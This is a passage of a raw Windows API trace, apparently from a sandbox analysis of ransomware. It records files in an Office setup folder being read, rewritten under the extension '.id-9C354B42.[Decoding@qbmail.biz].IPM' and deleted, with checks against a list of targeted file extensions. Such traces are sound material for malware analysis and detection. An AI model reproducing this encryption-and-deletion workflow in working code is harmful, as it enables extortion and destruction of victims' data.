Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0081.145] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0081.146] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0081.146] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0081.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0081.146] GetLastError () returned 0x0 [0081.146] ReadFile (in: hFile=0x1ec, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x15b5, lpOverlapped=0x0) returned 1 [0081.164] WriteFile (in: hFile=0x1f8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0081.167] ReadFile (in: hFile=0x1ec, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0081.168] WriteFile (in: hFile=0x1f8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xee, lpOverlapped=0x0) returned 1 [0081.168] SetEndOfFile (hFile=0x1f8) returned 1 [0081.168] CloseHandle (hObject=0x1f8) returned 1 [0081.170] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0081.170] SetEndOfFile (hFile=0x1ec) returned 1 [0081.172] CloseHandle (hObject=0x1ec) returned 1 [0081.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0081.172] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0081.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0081.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0081.173] lstrlenW (lpString=".doc") returned 4 [0081.173] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.173] lstrlenW (lpString=".docx") returned 5 [0081.173] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0081.173] lstrlenW (lpString=".pdf") returned 4 [0081.173] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.173] lstrlenW (lpString=".xls") returned 4 [0081.173] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.173] lstrlenW (lpString=".xlsx") returned 5 [0081.173] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0081.173] lstrlenW (lpString=".ppt") returned 4 [0081.173] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0081.173] lstrlenW (lpString=".zip") returned 4 [0081.173] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.174] lstrlenW (lpString=".rar") returned 4 [0081.174] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.174] lstrlenW (lpString=".bz2") returned 4 [0081.174] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.174] lstrlenW (lpString=".7z") returned 3 [0081.174] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.174] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0081.174] lstrlenW (lpString=".dbf") returned 4 [0081.174] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0081.175] lstrlenW (lpString=".1cd") returned 4 [0081.175] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0081.175] lstrlenW (lpString=".jpg") returned 4 [0081.175] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0081.175] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0081.175] lstrlenW (lpString=".doc") returned 4 [0081.175] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0081.175] lstrlenW (lpString=".docx") returned 5 [0081.175] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0081.175] lstrlenW (lpString=".pdf") returned 4 [0081.175] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0081.176] lstrlenW (lpString=".xls") returned 4 [0081.176] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0081.176] lstrlenW (lpString=".xlsx") returned 5 [0081.176] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0081.176] lstrlenW (lpString=".ppt") returned 4 [0081.176] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0081.176] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0081.176] lstrlenW (lpString=".zip") returned 4 [0081.177] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0081.177] lstrlenW (lpString=".rar") returned 4 [0081.177] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0081.177] lstrlenW (lpString=".bz2") returned 4 [0081.177] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0081.177] lstrlenW (lpString=".7z") returned 3 [0081.177] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0081.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0081.177] lstrlenW (lpString=".dbf") returned 4 [0081.177] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0081.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0081.177] lstrlenW (lpString=".1cd") returned 4 [0081.177] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0081.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0081.177] lstrlenW (lpString=".jpg") returned 4 [0081.177] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0081.178] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0081.178] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0081.178] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0081.178] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=819) returned 1 [0081.178] CloseHandle (hObject=0x1ec) returned 1 [0081.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0081.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0081.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0081.179] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0081.179] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0081.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0081.180] GetLastError () returned 0x0 [0081.180] ReadFile (in: hFile=0x1ec, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x333, lpOverlapped=0x0) returned 1 [0081.814] WriteFile (in: hFile=0x1f8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x340, lpOverlapped=0x0) returned 1 [0081.816] ReadFile (in: hFile=0x1ec, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0081.822] WriteFile (in: hFile=0x1f8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xf4, lpOverlapped=0x0) returned 1 [0081.823] SetEndOfFile (hFile=0x1f8) returned 1 [0082.058] CloseHandle (hObject=0x1f8) returned 1 [0082.059] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0082.059] SetEndOfFile (hFile=0x1ec) returned 1 [0082.061] CloseHandle (hObject=0x1ec) returned 1 [0082.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0082.062] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0082.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0082.256] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0082.256] lstrlenW (lpString=".doc") returned 4 [0082.256] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0082.256] lstrlenW (lpString=".docx") returned 5 [0082.256] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0082.256] lstrlenW (lpString=".pdf") returned 4 [0082.256] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0082.257] lstrlenW (lpString=".xls") returned 4 [0082.257] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0082.257] lstrlenW (lpString=".xlsx") returned 5 [0082.257] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0082.257] lstrlenW (lpString=".ppt") returned 4 [0082.257] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0082.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0082.257] lstrlenW (lpString=".zip") returned 4 [0082.257] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0082.257] lstrlenW (lpString=".rar") returned 4 [0082.257] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0082.257] lstrlenW (lpString=".bz2") returned 4 [0082.257] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0082.257] lstrlenW (lpString=".7z") returned 3 [0082.257] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0082.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0082.257] lstrlenW (lpString=".dbf") returned 4 [0082.257] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0082.257] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0082.257] lstrlenW (lpString=".1cd") returned 4 [0082.258] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0082.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0082.258] lstrlenW (lpString=".jpg") returned 4 [0082.258] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0082.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0082.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0082.258] lstrlenW (lpString=".doc") returned 4 [0082.258] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0082.258] lstrlenW (lpString=".docx") returned 5 [0082.258] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0082.258] lstrlenW (lpString=".pdf") returned 4 [0082.258] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0082.259] lstrlenW (lpString=".xls") returned 4 [0082.259] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0082.259] lstrlenW (lpString=".xlsx") returned 5 [0082.259] lstrcmpiW (lpString1=".xlsx", lpString2="t.XML") returned -1 [0082.259] lstrlenW (lpString=".ppt") returned 4 [0082.259] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0082.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0082.259] lstrlenW (lpString=".zip") returned 4 [0082.259] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0082.259] lstrlenW (lpString=".rar") returned 4 [0082.259] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0082.259] lstrlenW (lpString=".bz2") returned 4 [0082.259] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0082.259] lstrlenW (lpString=".7z") returned 3 [0082.259] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0082.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0082.259] lstrlenW (lpString=".dbf") returned 4 [0082.259] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0082.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0082.259] lstrlenW (lpString=".1cd") returned 4 [0082.259] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0082.260] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0082.260] lstrlenW (lpString=".jpg") returned 4 [0082.260] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0082.260] lstrcmpiW (lpString1=".CHM", lpString2=".IPM") returned -1 [0082.260] lstrlenW (lpString="PSS10O.CHM") returned 10 [0082.260] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0084.355] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x29eff1c | out: lpFileSize=0x29eff1c*=26929) returned 1 [0084.355] CloseHandle (hObject=0x1f8) returned 1 [0084.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 0x20 [0084.355] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0084.355] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0084.355] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0084.356] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0084.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0084.356] GetLastError () returned 0x0 [0084.356] ReadFile (in: hFile=0x1f8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x6931, lpOverlapped=0x0) returned 1 [0084.628] WriteFile (in: hFile=0x1d0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x6940, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0x6940, lpOverlapped=0x0) returned 1 [0084.632] ReadFile (in: hFile=0x1f8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x29efed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x29efed4*=0x0, lpOverlapped=0x0) returned 1 [0084.632] WriteFile (in: hFile=0x1d0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x29efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x29efc9c*=0xe8, lpOverlapped=0x0) returned 1 [0084.632] SetEndOfFile (hFile=0x1d0) returned 1 [0084.632] CloseHandle (hObject=0x1d0) returned 1 [0084.634] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29efec8 | out: lpNewFilePointer=0x0) returned 1 [0084.634] SetEndOfFile (hFile=0x1f8) returned 1 [0084.636] CloseHandle (hObject=0x1f8) returned 1 [0084.636] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM.id-9C354B42.[Decoding@qbmail.biz].IPM", dwFileAttributes=0x20) returned 1 [0084.636] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\pss10o.chm")) returned 1 [0084.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0084.637] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0084.637] lstrlenW (lpString=".doc") returned 4 [0084.637] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0084.637] lstrlenW (lpString=".docx") returned 5 [0084.637] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0084.637] lstrlenW (lpString=".pdf") returned 4 [0084.637] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0084.637] lstrlenW (lpString=".xls") returned 4 [0084.637] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0084.637] lstrlenW (lpString=".xlsx") returned 5 [0084.637] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0084.637] lstrlenW (lpString=".ppt") returned 4 [0084.638] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0084.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0084.638] lstrlenW (lpString=".zip") returned 4 [0084.638] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0084.638] lstrlenW (lpString=".rar") returned 4 [0084.638] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0084.638] lstrlenW (lpString=".bz2") returned 4 [0084.638] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0084.638] lstrlenW (lpString=".7z") returned 3 [0084.638] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0084.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0084.638] lstrlenW (lpString=".dbf") returned 4 [0084.638] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0084.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0084.638] lstrlenW (lpString=".1cd") returned 4 [0084.638] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0084.638] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0084.638] lstrlenW (lpString=".jpg") returned 4 [0084.639] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0084.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0084.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0084.639] lstrlenW (lpString=".doc") returned 4 [0084.639] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0084.639] lstrlenW (lpString=".docx") returned 5 [0084.639] lstrcmpiW (lpString1=".docx", lpString2="O.CHM") returned -1 [0084.639] lstrlenW (lpString=".pdf") returned 4 [0084.639] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0084.639] lstrlenW (lpString=".xls") returned 4 [0084.639] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0084.639] lstrlenW (lpString=".xlsx") returned 5 [0084.639] lstrcmpiW (lpString1=".xlsx", lpString2="O.CHM") returned -1 [0084.639] lstrlenW (lpString=".ppt") returned 4 [0084.640] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0084.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0084.640] lstrlenW (lpString=".zip") returned 4 [0084.640] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0084.640] lstrlenW (lpString=".rar") returned 4 [0084.640] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0084.640] lstrlenW (lpString=".bz2") returned 4 [0084.640] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0084.640] lstrlenW (lpString=".7z") returned 3 [0084.640] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0084.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0084.640] lstrlenW (lpString=".dbf") returned 4 [0084.640] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0084.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\PSS10O.CHM") returned 103 [0084.640] lstrlenW (lpString=".1cd") returned 4 [0084.640] 